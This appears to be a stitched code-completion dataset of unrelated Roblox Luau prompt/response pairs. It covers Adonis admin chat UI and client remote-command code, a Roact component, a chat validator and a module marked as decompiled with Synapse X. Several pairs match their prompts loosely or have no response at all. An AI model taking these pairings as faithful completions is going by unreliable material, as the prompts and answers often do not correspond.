			cross.TextTransparency = 0.8
		end
	end

	local function openAdmins()
		globalTab.Visible = false
		teamTab.Visible = false
		localTab.Visible = false
		adminsTab.Visible = true
		crossTab.Visible = false

		admins.Text = "Admins"
		mode = "Admins"

		global.BackgroundTransparency = 0.5
		team.BackgroundTransparency = 0.5
		localb.BackgroundTransparency = 0.5
		if isAdmin then
			admins.BackgroundTransparency = 0
			admins.TextTransparency = 0
			cross.BackgroundTransparency = 0.5
			cross.TextTransparency = 0
		else
			admins.BackgroundTransparency = 0.8
			admins.TextTransparency = 0.8
			cross.BackgroundTransparency = 0.8
			cross.TextTransparency = 0.8
		end
	end

	local function openCross()
		globalTab.Visible = false
		teamTab.Visible = false
		localTab.Visible = false
		adminsTab.Visible = false
		crossTab.Visible = true

		cross.Text = "Cross"
		mode = "Cross"

		global.BackgroundTransparency = 0.5
		team.BackgroundTransparency = 0.5
		localb.BackgroundTransparency = 0.5
		if isAdmin then
			admins.BackgroundTransparency = 0.5
			admins.TextTransparency = 0
			cross.BackgroundTransparency = 0
			cross.TextTransparency = 0
		else
			admins.BackgroundTransparency = 0.8
			admins.TextTransparency = 0.8
			cross.BackgroundTransparency = 0.8
			cross.TextTransparency = 0.8
		end
	end

	local function fadeIn()
    --[[
    frame.BackgroundTransparency = 0.5
    frame2.BackgroundTransparency = 0.5
    box.BackgroundTransparency = 0.5
    for i=0.1,0.5,0.1 do
        --wait(0.1)
        frame.BackgroundTransparency = 0.5-i
        frame2.BackgroundTransparency = 0.5-i
        box.BackgroundTransparency = 0.5-i
    end-- Disabled ]]
		frame.BackgroundTransparency = 0
		frame2.BackgroundTransparency = 0
		box.BackgroundTransparency = 0
		fakeDrag.Visible = true
	end

	local function fadeOut()
    --[[
    frame.BackgroundTransparency = 0
    frame2.BackgroundTransparency = 0
    box.BackgroundTransparency = 0
    for i=0.1,0.5,0.1 do
        --wait(0.1)
        frame.BackgroundTransparency = i
        frame2.BackgroundTransparency = i
        box.BackgroundTransparency = i
    end-- Disabled ]]
		frame.BackgroundTransparency = 0.7
		frame2.BackgroundTransparency = 1
		box.BackgroundTransparency = 1
		fakeDrag.Visible = false
	end

	fadeOut()

	frame.MouseEnter:Connect(function()
		fadeIn()
	end)

	frame.MouseLeave:Connect(function()
		if not boxFocused then
			fadeOut()
		end
	end)

	toggle.MouseButton1Click:Connect(function()
		if drag.Visible then
			drag.Visible = false
			toggle.Image = "rbxassetid://417301749"--417285299"
		else
			drag.Visible = true
			toggle.Image = "rbxassetid://417301773"--417285351"
		end
	end)

	global.MouseButton1Click:Connect(function()
		openGlobal()
	end)

	team.MouseButton1Click:Connect(function()
		openTeam()
	end)

	localb.MouseButton1Click:Connect(function()
		openLocal()
	end)

	admins.MouseButton1Click:Connect(function()
		if isAdmin or tick() - lastClick > 5 then
			isAdmin = client.Remote.Get("CheckAdmin")
			if isAdmin then
				openAdmins()
			else
				admins.BackgroundTransparency = 0.8
				admins.TextTransparency = 0.8
			end
			lastClick = tick()
		end
	end)

	cross.MouseButton1Click:Connect(function()
		if isAdmin or tick() - lastClick > 5 then
			isAdmin = client.Remote.Get("CheckAdmin")
			if isAdmin then
				openCross()
			else
				cross.BackgroundTransparency = 0.8
				cross.TextTransparency = 0.8
			end
			lastClick = tick()
		end
	end)

	box.FocusLost:Connect(function(enterPressed)
		boxFocused = false
		if enterPressed and not client.Variables.Muted then
			if box.Text ~= '' and ((mode ~= "Cross" and tick() - lastChat >= 0.5) or (mode == "Cross" and tick() - lastChat >= 10)) then
				if not client.Variables.Muted then
					client.Remote.Send('ProcessCustomChat', box.Text, mode)
					lastChat = tick()
				end
			elseif not ((mode ~= "Cross" and tick() - lastChat >= 0.5) or (mode == "Cross" and tick() - lastChat >= 10)) then
				local tim
				if mode == "Cross" then
					tim = 10 - (tick() - lastChat)
				else
					tim = 0.5 - (tick() - lastChat)
				end
				tim = string.sub(tostring(tim), 1, 3)
				client.Handlers.ChatHandler("SpamBot", "Sending too fast! Please wait "..tostring(tim).." seconds.", "System")
			end
			box.Text = "Click here or press the '/' key to chat"
			fadeOut()
			if mode ~= "Cross" then
				lastChat = tick()
			end
		end
	end)

	box.Focused:Connect(function()
		boxFocused = true
		if box.Text == "Click here or press the '/' key to chat" then
			box.Text = ''
		end
		fadeIn()
	end)

	if not nohide then
		service.UserInputService.InputBegan:Connect(function(InputObject)
			local textbox = service.UserInputService:GetFocusedTextBox()
			if not (textbox) and InputObject.UserInputType == Enum.UserInputType.Keyboard and InputObject.KeyCode == Enum.KeyCode.Slash then
				if box.Text == "Click here or press the '/' key to chat" then
					box.Text = ''
				end
				service.RunService.RenderStepped:Wait()
				box:CaptureFocus()
			end
		end)
	end

	local dragging = false

	local nx, ny = drag.AbsoluteSize.X, frame.AbsoluteSize.Y --450,200
	local defx, defy = nx, ny
	mouse.Move:Connect(function(x, y)
		if dragging then
			nx = math.clamp(defx + (dragger.Position.X.Offset + 20), 1, 260)
			ny = math.clamp(defy + (dragger.Position.Y.Offset + 20), 1, 100)

			frame.Size = UDim2.new(1, 0, 0, ny)
			drag.Size = UDim2.new(0, nx, 0, 30)
		end
	end)
	dragger.DragBegin:Connect(function(init)
		dragging = true
	end)
	dragger.DragStopped:Connect(function(x, y)
		dragging = false
		defx = nx
		defy = ny
		dragger.Position = UDim2.new(1, -20, 1, -20)
		UpdateChat()
	end)

	UpdateChat()


Prompt:
--[[
	This is a child component that listens for the event "all parents have been
	set". In didMount, parents of the mounted component are not required to be
	set, therefore we can't do ancestry checks (like checking to see if the
	mounted component is a child of CoreGui or PlayerGui). This component makes
	it easy to do this check and trigger functions when all parents are assigned
	after didMount.
]]

Response:
local t = require(script.Parent.Parent.Packages.t)
local Roact = require(script.Parent.Parent.Packages.Roact)

local OnRootedListener = Roact.Component:extend("OnRootedListener")

OnRootedListener.validateProps = t.strictInterface({
	onRooted = t.callback,
})

function OnRootedListener:init()
	self.onAncestryChanged = function(instance)
		if instance:IsDescendantOf(game) then
			self.props.onRooted(instance)
		end
	end
end

function OnRootedListener:render()
	return Roact.createElement("Folder", {
		[Roact.Event.AncestryChanged] = self.onAncestryChanged,
	})
end

return OnRootedListener


Prompt:
--[[
Hello! This script will turn this red light green when the time reaches 18:00:00, or 6 PM,
then return to red at 7:30, or 7:30 AM. With enough flexibility, you can make this do
other things!
]]

Response:
function toMinutes(hour) --turns something like 7.5 hours into 450 minutes.
hour = hour * 60
return hour
end


Prompt:
--[[

	DEVELOPMENT HAS BEEN MOVED FROM DAVEY_BONES/SCELERATIS TO THE EPIX INCORPORATED GROUP

	CURRENT LOADER:
	https://www.roblox.com/library/7510622625/Adonis-Loader-Sceleratis-Davey-Bones-Epix

	CURRENT MODULE:
	https://www.roblox.com/library/7510592873/Adonis-MainModule

--]]


Prompt:
-- If you want to create your own custom player settings,
-- make a copy of this script and add it to your StarterPlayer object

Response:
local module = {}

module.UseDefaultAnimations = false -- force incoming players to use default avatar animations, not custom animations

return module


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local v1 = {};
v1.__index = v1;
local u1 = require(script:WaitForChild("SmoothDamp"));
function v1.new(p1, p2)
	assert(typeof(p1) == "Vector3", "initialValue should be Vector3");
	assert(typeof(p2) == "number", "smoothTime should be a number");
	assert(p2 >= 0, "smoothTime must be a positive number");
	local v2 = setmetatable({
		Value = p1,
		Goal = p1,
		SmoothTime = p2
	}, v1);
	v2._smoothDamp = u1.new();
	return v2;
end;
function v1.Update(p3, p4)
	if p4 then
		p3.Goal = p4;
	else
		p4 = p3.Goal;
	end;
	local v3 = p3._smoothDamp:Update(p3.Value, p4, p3.SmoothTime);
	p3.Value = v3;
	return v3;
end;
function v1.UpdateAngle(p5, p6)
	if p6 then
		p5.Goal = p6;
	else
		p6 = p5.Goal;
	end;
	local v4 = p5._smoothDamp:UpdateAngle(p5.Value, p6, p5.SmoothTime);
	p5.Value = v4;
	return v4;
end;
function v1.SetMaxSpeed(p7, p8)
	p7._smoothDamp.MaxSpeed = p8;
end;
function v1.GetMaxSpeed(p9)
	return p9._smoothDamp.MaxSpeed;
end;
return v1;


Prompt:
--		if RunService:IsStudio() then
--			return true
--		end

Response:
		local success, canChat = pcall(function()
			return Chat:CanUserChatAsync(playerObj.UserId)
		end)
		return success and canChat
	end

	local function ValidateChatFunction(speakerName, message, channel)
		local speakerObj = ChatService:GetSpeaker(speakerName)
		local playerObj = speakerObj:GetPlayer()
		if not speakerObj then return false end
		if not playerObj then return false end

		if (playerObj.UserId < 1) then -- and (not RunService:IsStudio()) then
			return true
		end

		if not CanUserChat(playerObj) then
			speakerObj:SendSystemMessage(ChatLocalization:Get("GameChat_ChatMessageValidator_SettingsError","Your chat settings prevent you from sending messages."), channel)
			return true
		end

		if message:len() > ChatSettings.MaximumMessageLength + 1 then
			speakerObj:SendSystemMessage(ChatLocalization:Get("GameChat_ChatMessageValidator_MaxLengthError","Your message exceeds the maximum message length."), channel)
			return true
		end

		for i = 1, #DISALLOWED_WHITESPACE do
			if string.find(message, DISALLOWED_WHITESPACE[i]) then
				speakerObj:SendSystemMessage(ChatLocalization:Get("GameChat_ChatMessageValidator_WhitespaceError","Your message contains whitespace that is not allowed."), channel)
				return true
			end
		end
		return false
	end

	ChatService:RegisterProcessCommandsFunction("message_validation", ValidateChatFunction, ChatSettings.LowPriority)
end

return Run


Prompt: --!strict

Response: local Players = game:GetService("Players")


Prompt: -- Constants

Response:
local Remote_Events = ReplicatedStorage:WaitForChild("RemoteEvents")
local Local_Player = PlayersService.LocalPlayer


Prompt: --// Remote

Response:
return function(Vargs, GetEnv)
	local env = GetEnv(nil, {script = script})
	setfenv(1, env)

	local _G, game, script, getfenv, setfenv, workspace,
	getmetatable, setmetatable, loadstring, coroutine,
	rawequal, typeof, print, math, warn, error,  pcall,
	xpcall, select, rawset, rawget, ipairs, pairs,
	next, Rect, Axes, os, time, Faces, unpack, string, Color3,
	newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
	NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
	NumberSequenceKeypoint, PhysicalProperties, Region3int16,
	Vector3int16, require, table, type, wait,
	Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay =
		_G, game, script, getfenv, setfenv, workspace,
	getmetatable, setmetatable, loadstring, coroutine,
	rawequal, typeof, print, math, warn, error,  pcall,
	xpcall, select, rawset, rawget, ipairs, pairs,
	next, Rect, Axes, os, time, Faces, unpack, string, Color3,
	newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
	NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
	NumberSequenceKeypoint, PhysicalProperties, Region3int16,
	Vector3int16, require, table, type, wait,
	Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay

	local script = script
	local service = Vargs.Service
	local client = Vargs.Client
	local Anti, Core, Functions, Process, Remote, UI, Variables
	local function Init()
		UI = client.UI;
		Anti = client.Anti;
		Core = client.Core;
		Variables = client.Variables
		Functions = client.Functions;
		Process = client.Process;
		Remote = client.Remote;

		Remote.Init = nil;
	end

	local function RunAfterLoaded()
		--// Report client finished loading
		log("~! Fire client loaded")
		client.Remote.Send("ClientLoaded")

		--// Ping loop
		log("~! Start ClientCheck loop");
		delay(5, function() service.StartLoop("ClientCheck", 30, Remote.CheckClient, true) end)

		--// Get settings
		log("Get settings");
		local settings = client.Remote.Get("Setting",{"G_API","Allowed_API_Calls","HelpButtonImage"})
		if settings then
			client.G_API = settings.G_API
			--client.G_Access = settings.G_Access
			--client.G_Access_Key = settings.G_Access_Key
			--client.G_Access_Perms = settings.G_Access_Perms
			client.Allowed_API_Calls = settings.Allowed_API_Calls
			client.HelpButtonImage = settings.HelpButtonImage
		else
			log("~! GET SETTINGS FAILED?")
			warn("FAILED TO GET SETTINGS FROM SERVER");
		end

		Remote.RunAfterLoaded = nil;
	end

	local function RunLast()
		--[[client = service.ReadOnly(client, {
				[client.Variables] = true;
				[client.Handlers] = true;
				G_API = true;
				G_Access = true;
				G_Access_Key = true;
				G_Access_Perms = true;
				Allowed_API_Calls = true;
				HelpButtonImage = true;
				Finish_Loading = true;
				RemoteEvent = true;
				ScriptCache = true;
				Returns = true;
				PendingReturns = true;
				EncodeCache = true;
				DecodeCache = true;
				Received = true;
				Sent = true;
				Service = true;
				Holder = true;
				GUIs = true;
				LastUpdate = true;
				RateLimits = true;

				Init = true;
				RunLast = true;
				RunAfterInit = true;
				RunAfterLoaded = true;
				RunAfterPlugins = true;
			}, true)--]]

		Remote.RunLast = nil;
	end

	getfenv().client = nil
	getfenv().service = nil
	getfenv().script = nil

	client.Remote = {
		Init = Init;
		RunLast = RunLast;
		RunAfterLoaded = RunAfterLoaded;
		Returns = {};
		PendingReturns = {};
		EncodeCache = {};
		DecodeCache = {};
		Received = 0;
		Sent = 0;

		CheckClient = function()
			if os.time() - Core.LastUpdate >= 10 then
				Remote.Send("ClientCheck", {
					Sent = Remote.Sent or 0;
					Received = Remote.Received;
				}, client.DepsName)
			end
		end;

		Returnables = {
			Test = function(args)
				return "HELLO FROM THE CLIENT SIDE :)! ", unpack(args)
			end;

			Ping = function(args)
				return Remote.Ping()
			end;

			ClientHooked = function(args)
				return Core.Special
			end;

			TaskManager = function(args)
				local action = args[1]
				if action == "GetTasks" then
					local tab = {}
					for _, v in service.GetTasks() do
						local new = {}
						new.Status = v.Status
						new.Name = v.Name
						new.Index = v.Index
						new.Created = v.Created
						new.CurrentTime = os.time()
						new.Function = tostring(v.Function)
						table.insert(tab,new)
					end
					return tab
				end
			end;

			LoadCode = function(args)
				local code = args[1]
				local func = Core.LoadCode(code, GetEnv())
				if func then
					return func()
				end
			end;

			Function = function(args)
				local func = client.Functions[args[1]]
				if func and type(func) == "function" then
					return func(unpack(args, 2))
				end
			end;

			Handler = function(args)
				local handler = client.Handlers[args[1]]
				if handler and type(handler) == "function" then
					return handler(unpack(args, 2))
				end
			end;

			UIKeepAlive = function(args)
				if Variables.UIKeepAlive then
					for _, g in client.GUIs do
						if g.KeepAlive then
							if g.Class == "ScreenGui" or g.Class == "GuiMain" then
								g.Object.Parent = service.Player.PlayerGui
							elseif g.Class == "TextLabel" then
								g.Object.Parent = UI.GetHolder()
							end

							g.KeepAlive = false
						end
					end
				end

				return true;
			end;

			UI = function(args)
				local guiName = args[1]
				local themeData = args[2]
				local guiData = args[3]

				Variables.LastServerTheme = themeData or Variables.LastServerTheme;
				return UI.Make(guiName, guiData, themeData)
			end;

			InstanceList = function(args)
				local objects = service.GetAdonisObjects()
				local temp = {}
				for _, v in objects do
					table.insert(temp, {
						Text = v:GetFullName();
						Desc = v.ClassName;
					})
				end
				return temp
			end;

			ClientLog = function(args)
				local MESSAGE_TYPE_COLORS = {
					[Enum.MessageType.MessageWarning] = Color3.fromRGB(221, 187, 13),
					[Enum.MessageType.MessageError] = Color3.fromRGB(255, 50, 14),
					[Enum.MessageType.MessageInfo] = Color3.fromRGB(14, 78, 255)
				}
				local tab = {}
				local logHistory: {{message: string, messageType: Enum.MessageType, timestamp: number}} = service.LogService:GetLogHistory()
				for i = #logHistory, 1, -1 do
					local log = logHistory[i]
					for i, v in service.ExtractLines(log.message) do
						table.insert(tab, {
							Text = v;
							Time = if i == 1 then log.timestamp else nil;
							Desc = log.messageType.Name:match("^Message(.+)$");
							Color = MESSAGE_TYPE_COLORS[log.messageType];
						})
					end
				end
				return tab
			end;

			LocallyFormattedTime = function(args)
				if type(args[1]) == "table" then
					local results = {}
					for i, t in args[1] do
						results[i] = service.FormatTime(t, select(2, unpack(args)))
					end
					return results
				end
				return service.FormatTime(unpack(args))
			end;
		};

		UnEncrypted = setmetatable({}, {
			__newindex = function(_, ind, val)
				warn("Remote.UnEncrypted is deprecated; moving", ind, "to Remote.Commands")
				Remote.Commands[ind] = val
			end
		});

		Commands = {
			GetReturn = function(args)
				print("THE SERVER IS ASKING US FOR A RETURN");
				local com = args[1]
				local key = args[2]
				local parms = {unpack(args, 3)}
				local retfunc = Remote.Returnables[com]
				local retable = (retfunc and {pcall(retfunc,parms)}) or {}
				if retable[1] ~= true then
					logError(retable[2])
					Remote.Send("GiveReturn", key, "__ADONIS_RETURN_ERROR", retable[2])
				else
					print("SENT RETURN");
					Remote.Send("GiveReturn", key, unpack(retable,2))
				end
			end;

			GiveReturn = function(args)
				print("SERVER GAVE US A RETURN")
				if Remote.PendingReturns[args[1]] then
					print("VALID PENDING RETURN")
					Remote.PendingReturns[args[1]] = nil
					service.Events[args[1]]:Fire(unpack(args, 2))
				end
			end;

			SessionData = function(args)
				local sessionKey = args[1];
				if sessionKey then
					service.Events.SessionData:Fire(sessionKey, table.unpack(args, 2))
				end
			end;

			SetVariables = function(args)
				local vars = args[1]
				for var, val in vars do
					Variables[var] = val
				end
			end;

			Print = function(args)
				print(unpack(args))
			end;

			FireEvent = function(args)
				service.FireEvent(unpack(args))
			end;

			Test = function(args)
				print("OK WE GOT COMMUNICATION!  ORGL: "..tostring(args[1]))
			end;

			TestError = function(args)
				error("THIS IS A TEST ERROR")
			end;

			TestEvent = function(args)
				Remote.PlayerEvent(args[1],unpack(args,2))
			end;

			LoadCode = function(args)
				local code = args[1]
				local func = Core.LoadCode(code, GetEnv())
				if func then
					return func()
				end
			end;

			LaunchAnti = function(args)
				Anti.Launch(args[1],args[2])
			end;

			UI = function(args)
				local guiName = args[1]
				local themeData = args[2]
				local guiData = args[3]

				Variables.LastServerTheme = themeData or Variables.LastServerTheme;
				UI.Make(guiName,guiData,themeData)
			end;

			RemoveUI = function(args)
				UI.Remove(args[1],args[2])
			end;

			RefreshUI = function(args)
				local guiName = args[1]
				local ignore = args[2]

				UI.Remove(guiName,ignore)

				local themeData = args[3]
				local guiData = args[4]

				Variables.LastServerTheme = themeData or Variables.LastServerTheme;
				UI.Make(guiName,guiData,themeData)
			end;

			StartLoop = function(args)
				local name = args[1]
				local delay = args[2]
				local code = args[3]
				local func = Core.LoadCode(code, GetEnv())
				if name and delay and code and func then
					service.StartLoop(name,delay,func)
				end
			end;

			StopLoop = function(args)
				service.StopLoop(args[1])
			end;

			Function = function(args)
				local func = client.Functions[args[1]]
				if func and type(func) == "function" then
					Pcall(func,unpack(args,2))
				end
			end;

			Handler = function(args)
				local handler = client.Handlers[args[1]]
				if handler and type(handler) == "function" then
					Pcall(handler, unpack(args, 2))
				end
			end;
		};

		Fire = function(...)
			local limits = Process.RateLimits
			local limit = (limits and limits.Remote) or 0.01;
			local RemoteEvent = Core.RemoteEvent;
			local extra = {...};

			if RemoteEvent and RemoteEvent.Object then
				service.Queue("REMOTE_SEND", function()
					Remote.Sent = Remote.Sent+1;
					RemoteEvent.Object:FireServer({Mode = "Fire", Module = client.Module, Loader = client.Loader, Sent = Remote.Sent, Received = Remote.Received}, unpack(extra));
					task.wait(limit);
				end)
			end
		end;

		Send = function(com,...)
			Core.LastUpdate = os.time()
			Remote.Fire(Remote.Encrypt(com,Core.Key),...)
		end;

		GetFire = function(...)
			local RemoteEvent = Core.RemoteEvent;
			local limits = Process.RateLimits;
			local limit = (limits and limits.Remote) or 0.02;
			local extra = {...};
			local returns;

			if RemoteEvent and RemoteEvent.Function then
				local Yield = service.Yield();

				service.Queue("REMOTE_SEND", function()
					Remote.Sent = Remote.Sent+1;
					task.delay(0, function() -- Wait for return in new thread; We don't want to hold the entire fire queue up while waiting for one thing to return since we just want to limit fire speed;
						returns = {
							RemoteEvent.Function:InvokeServer({
								Mode = "Get",
								Module = client.Module,
								Loader = client.Loader,
								Sent = Remote.Sent,
								Received = Remote.Received
							}, unpack(extra))
						}

						Yield:Release(returns);
					end)

					task.wait(limit)
				end)

				if not returns then
					Yield:Wait();
				end

				Yield:Destroy();

				if returns then
					return unpack(returns)
				end
			end
		end;

		RawGet = function(...)
			local extra = {...};
			local RemoteEvent = Core.RemoteEvent;
			if RemoteEvent and RemoteEvent.Function then
				Remote.Sent = Remote.Sent+1;
				return RemoteEvent.Function:InvokeServer({Mode = "Get", Module = client.Module, Loader = client.Loader, Sent = Remote.Sent, Received = Remote.Received}, unpack(extra));
			end
		end;

		Get = function(com,...)
			Core.LastUpdate = os.time()
			local ret = Remote.GetFire(Remote.Encrypt(com,Core.Key),...)
			if type(ret) == "table" then
				return unpack(ret);
			else
				return ret;
			end
		end;

		OldGet = function(com,...)
			local returns
			local key = Functions:GetRandom()
			local waiter = service.New("BindableEvent");
			local event = service.Events[key]:Connect(function(...) print("WE ARE GETTING A RETURN!") returns = {...} waiter:Fire() task.wait() waiter:Fire() waiter:Destroy() end)

			Remote.PendingReturns[key] = true
			Remote.Send("GetReturn",com,key,...)
			print(string.format("GETTING RETURNS? %s", tostring(returns)))
			--returns = returns or {event:Wait()}
			waiter.Event:Wait();
			print(string.format("WE GOT IT! %s", tostring(returns)))

			event:Disconnect()

			if returns then
				if returns[1] == "__ADONIS_RETURN_ERROR" then
					error(returns[2])
				else
					return unpack(returns)
				end
			else
				return nil
			end
		end;

		Ping = function()
			local t = time()
			local ping = Remote.Get("Ping")
			if not ping then return false end
			local t2 = time()
			local mult = 10^3
			local ms = ((math.floor((t2-t)*mult+0.5)/mult)*1000)
			return ms
		end;

		PlayerEvent = function(event,...)
			Remote.Send("PlayerEvent",event,...)
		end;

		Encrypt = function(str, key, cache)
			cache = cache or Remote.EncodeCache or {}

			if not key or not str then
				return str
			elseif cache[key] and cache[key][str] then
				return cache[key][str]
			else
				local byte = string.byte
				local sub = string.sub
				local char = string.char

				local keyCache = cache[key] or {}
				local endStr = {}

				for i = 1, #str do
					local keyPos = (i % #key) + 1
					endStr[i] = char(((byte(sub(str, i, i)) + byte(sub(key, keyPos, keyPos)))%126) + 1)
				end

				endStr = table.concat(endStr)
				cache[key] = keyCache
				keyCache[str] = endStr
				return endStr
			end
		end;

		Decrypt = function(str, key, cache)
			cache = cache or Remote.DecodeCache or {}

			if not key or not str then
				return str
			elseif cache[key] and cache[key][str] then
				return cache[key][str]
			else
				local keyCache = cache[key] or {}
				local byte = string.byte
				local sub = string.sub
				local char = string.char
				local endStr = {}

				for i = 1, #str do
					local keyPos = (i % #key)+1
					endStr[i] = char(((byte(sub(str, i, i)) - byte(sub(key, keyPos, keyPos)))%126) - 1)
				end

				endStr = table.concat(endStr)
				cache[key] = keyCache
				keyCache[str] = endStr
				return endStr
			end
		end;
	}
end